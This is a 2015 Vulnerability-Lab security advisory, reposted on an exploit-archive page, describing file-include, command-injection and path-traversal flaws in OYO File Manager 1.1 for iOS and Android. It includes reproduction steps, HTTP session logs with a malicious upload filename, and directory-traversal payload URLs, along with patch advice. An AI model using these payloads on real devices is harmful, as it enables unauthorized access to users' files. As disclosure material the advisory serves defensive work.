发布 2015-05-18 漏洞条目

OYO File Manager 1.1 (iOS / Android) – Multiple Vulnerabilities

Exploit Source

Document Title:

===============

OYO File Manager 1.1 iOS&Android - Multiple Vulnerabilities

References (Source):

====================

http://www.vulnerability-lab.com/get_content.php?id=1494

Release Date:

=============

2015-05-18

Vulnerability Laboratory ID (VL-ID):

====================================

1493

Common Vulnerability Scoring System:

====================================

6.9

Product & Service Introduction:

===============================

OYO File Manager, helps you to manage files in your mobile from your computer over wifi, without USB cable. Also, view your photo albums, play songs and videos.

Store files in drive page and do all the file operations, such as Create, Move, Delete, Edit, Copy, Rename, Zip, unzip, and get information about file.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/oyo-file-manager/id981145759 & https://play.google.com/store/apps/details?id=com.whatbig.filemanager )

Abstract Advisory Information:

==============================

The Vulnerability Laboratory Core Research team discovered multiple Vulnerabilities in the official OYO File Manager v1.1 iOS & Android mobile web-application.

Vulnerability Disclosure Timeline:

==================================

2015-05-18: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

Balaji Rajan

Product: OYO File Manager - iOS & Android 1.1

Exploitation Technique:

=======================

Remote

Severity Level:

===============

High

Technical Details & Description:

================================

1.1 Local File Include Vulnerability

A local file include web vulnerability has been discovered in the official OYO File Manager v1.1 iOS & Android mobile web-application.

The file include vulnerability allows remote attackers to unauthorized include local file/path requests to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload(GCDWebUploader)` module. Attackers are able to inject own files with malicious

`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in

the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the local file include request by usage of the

`wifi interface` in connection with the vulnerable file upload POST method request. Injects are also possible via local file sync function.

Local attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious

attack requests.

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.5.

Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account.

Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):

[+] [POST]

Vulnerable Module(s):

[+] upload (GCDWebUploader)

Vulnerable Parameter(s):

[+] filename

Affected Module(s):

[+] Index File Dir Listing (http://localhost:8080/)

1.2 Local Command Injection Vulnerability

A local command inject web vulnerability has been discovered in the official OYO File Manager v1.1 iOS & Android mobile web-application.

The issue allows remote attackers to inject own commands by usage of stable device values to compromise the ios or android mobile web-application.

The command inject vulnerability is located in the vulnerable `devicename` value of the `index` module. Local attackers are able to inject own

own malicious system specific commands to requests the vulnerable `devicename` value. The devicename value is displayed in the header location

of the file dir index module. The execution point is in the main index context and the injection point is the local device to app sync.

The attack vector is located on the application-side and the injection requires physical device access or a local low privileged device user account.

Local attackers are also able to exploit the devicename validation issue in combination with persistent injected script codes.

The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.6.

Exploitation of the command/path inject vulnerability requires a low privileged ios/android device account with restricted access and no user interaction.

Successful exploitation of the vulnerability results in unauthorized execution of system specific commands to compromise the mobile Android/iOS application

or the connected device components.

Request Method(s):

[+] [SYNC]

Vulnerable Module(s):

[+] Path Listing

Vulnerable Parameter(s):

[+] devicename

1.3 Remote Path Traversal Vulnerability

A Path Traveral web vulnerability has been discovered in the official OYO File Manager v1.1 iOS & Android mobile web-application.

The security vulnerability allows remote attackers to unauthorized request system path variables to compromise the mobile application or device.

The vulnerability is located in the `path` value of the `open and list` interface module. Remote attackers are able to change the path variable

to unauthorized request device files or directories. The vulnerability can be exploited by local or remote attackers without user interaction.

The attack vector is located on the application-side of the service and the request method to execute is GET (client-side).

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9.

Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction.

Successful exploitation of the vulnerability results in mobile application compromise.

Request Method(s):

[+] GET

Vulnerable Module(s):

[+] open

[+] list

Vulnerable Parameter(s):

[+] path

Affected Module(s):

[+] Index File Dir Listing (http://localhost:8080/)

Proof of Concept (PoC):

=======================

1.1

The file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...

1. Open the interface

2. Start a session tamper

3. Upload a reandom file

4. Change in the upload POST method request the vulnerable filename to a local file variable

Note: The website reloads

5. The execution occurs in the main file dir index were the upload has been replaced

6. Successful reproduce of the mobile web vulnerability!

--- PoC Session Logs [POST] ---

Status: 200[OK]

POST http://localhost/upload

Load Flags[LOAD_BYPASS_CACHE ] Größe des Inhalts[2] Mime Type[application/json]

Request Header:

Host[localhost]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]

Accept[application/json, text/javascript, */*; q=0.01]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate]

X-Requested-With[XMLHttpRequest]

Referer[http://localhost/]

Content-Length[831]

Content-Type[multipart/form-data; boundary=---------------------------33361466725643]

Connection[keep-alive]

Pragma[no-cache]

Cache-Control[no-cache]

POST-Daten:

POST_DATA[-----------------------------33361466725643

Content-Disposition: form-data; name="path"/test23/

-----------------------------33361466725643

Content-Disposition: form-data; name="files[]"; filename="../[LOCAL FILE INCLUDE VULNERABILITY!]testfile.png"

Content-Type: image/png

- Response

Status=OK - 200

Server=GCDWebUploader

Cache-Control=no-cache

Content-Length=2

Content-Type=application/json

Connection=Close

Date=Tue, 12 May 2015 12:24:23 GMT

Reference(s):

http://localhost/upload

1.2

The local command inject web vulnerability can be exploited by local attackers with low privilege application user account and low user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...

1. Install the android or ios application to your device

2. Start the application

3. Change the local devicename value in the ios settings to a own payload string (local command inject)

4. Save the settings

5. Open the wifi interface and watch the index webserver site

6. The execution occurs in the header location of the webpage were the devicename value is visible

6. Successful reproduce of the mobile web vulnerability!

PoC:

<span style="font-size:20px;">[LOCAL COMMAND INJECT VULNERABILITY!]23</span> <span style="font-size: 15px;color: #CCCCCC;">IOS Version 8.3</span>

25.89 GB used</div>

1.30 GB free space

</div></div></span></spna>

1.3

the path traversal web vulnerability can be exploited by remote attackers without user interaction or privilege web application user account.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload(s)

http://localhost/list?path=%2F%22%3E%3C../../../../../[DIRECTORY TRAVERSAL]%3E/

http://localhost/open?path=%2F%22%3E%3C../../../../../[DIRECTORY TRAVERSAL]%3E/

http://localhost/download?path=%2F%22%3E%3C../../../../../[DIRECTORY TRAVERSAL]%3E/

--- PoC Session Logs [GET] ---

Status: 200[OK]

GET http://localhost/list?path=%2F%22%3E%3C../../../../../[DIRECTORY TRAVERSAL]%3E/PENG.png

Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[59] Mime Type[application/json]

Request Header:

Host[localhost]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]

Accept[application/json, text/javascript, */*; q=0.01]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate]

X-Requested-With[XMLHttpRequest]

Referer[http://localhost/]

Connection[keep-alive]

Response Header:

Server[GCDWebUploader]

Cache-Control[no-cache]

Content-Length[59]

Content-Type[application/json]

Connection[Close]

Date[Tue, 12 May 2015 12:24:25 GMT]

14:21:43.214[9ms][total 9ms] Status: 200[OK]

GET http://localhost/open?path=/%22%3E%3C../../../../../[DIRECTORY TRAVERSAL]%3E/PENG.png Load Flags[LOAD_NORMAL] Größe des Inhalts[538] Mime Type[image/png]

Request Header:

Host[localhost]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]

Accept[image/png,image/*;q=0.8,*/*;q=0.5]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Accept-Encoding[gzip, deflate]

Referer[http://localhost/]

Connection[keep-alive]

Response Header:

Etag[8831597/1431433463/0]

Last-Modified[Tue, 12 May 2015 12:24:23 GMT]

Server[GCDWebUploader]

Content-Type[image/png]

Content-Length[538]

Connection[Close]

Date[Tue, 12 May 2015 12:24:25 GMT]

Cache-Control[no-cache]

Reference(s):

http://localhost/list?path=

http://localhost/open?path=

http://localhost/download?path=

Solution - Fix & Patch:

=======================

1.1

The local file include web vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request.

Restrict the input and disallow special chars. Parse the output in the file dir index list to prevent local file include attacks via upload.

1.2

Restrict the devicename value and disallow special chars. Encode the devicename value to prevent local command injection attacks.

1.3

The directory traversal web vulnerability can be patched by a secure restriction and parse of the path name value in the open and list module context.

Encode the input of files to folders and disallow special chars. Implement a whitelist or a exception to prevent unauthorized path value requests via GET method.

Security Risk:

==============

1.1

The security risk of the local file include web vulnerability in the filename value of the manager is estimated as high. (CVSS 6.5)

1.2

The security risk of the local command inject web vulnerability in the devicename value of the manager is estimated as high. (CVSS 5.6)

1.3

The security risk of the path traversal web vulnerability in the path value of the manager is estimated as high. (CVSS 6.9)

Credits & Authors:

==================

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:

=========================

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed

or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable

in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab

or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for

consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,

policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com

Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com

Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact

Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to

electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by

Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website

is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact

(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

VULNERABILITY LABORATORY - RESEARCH TEAM

SERVICE: www.vulnerability-lab.com

CONTACT: research@vulnerability-lab.com

PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

作者: Vulnerability-Lab
日期: 2015-05-18
类别: webapps
平台: multiple

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection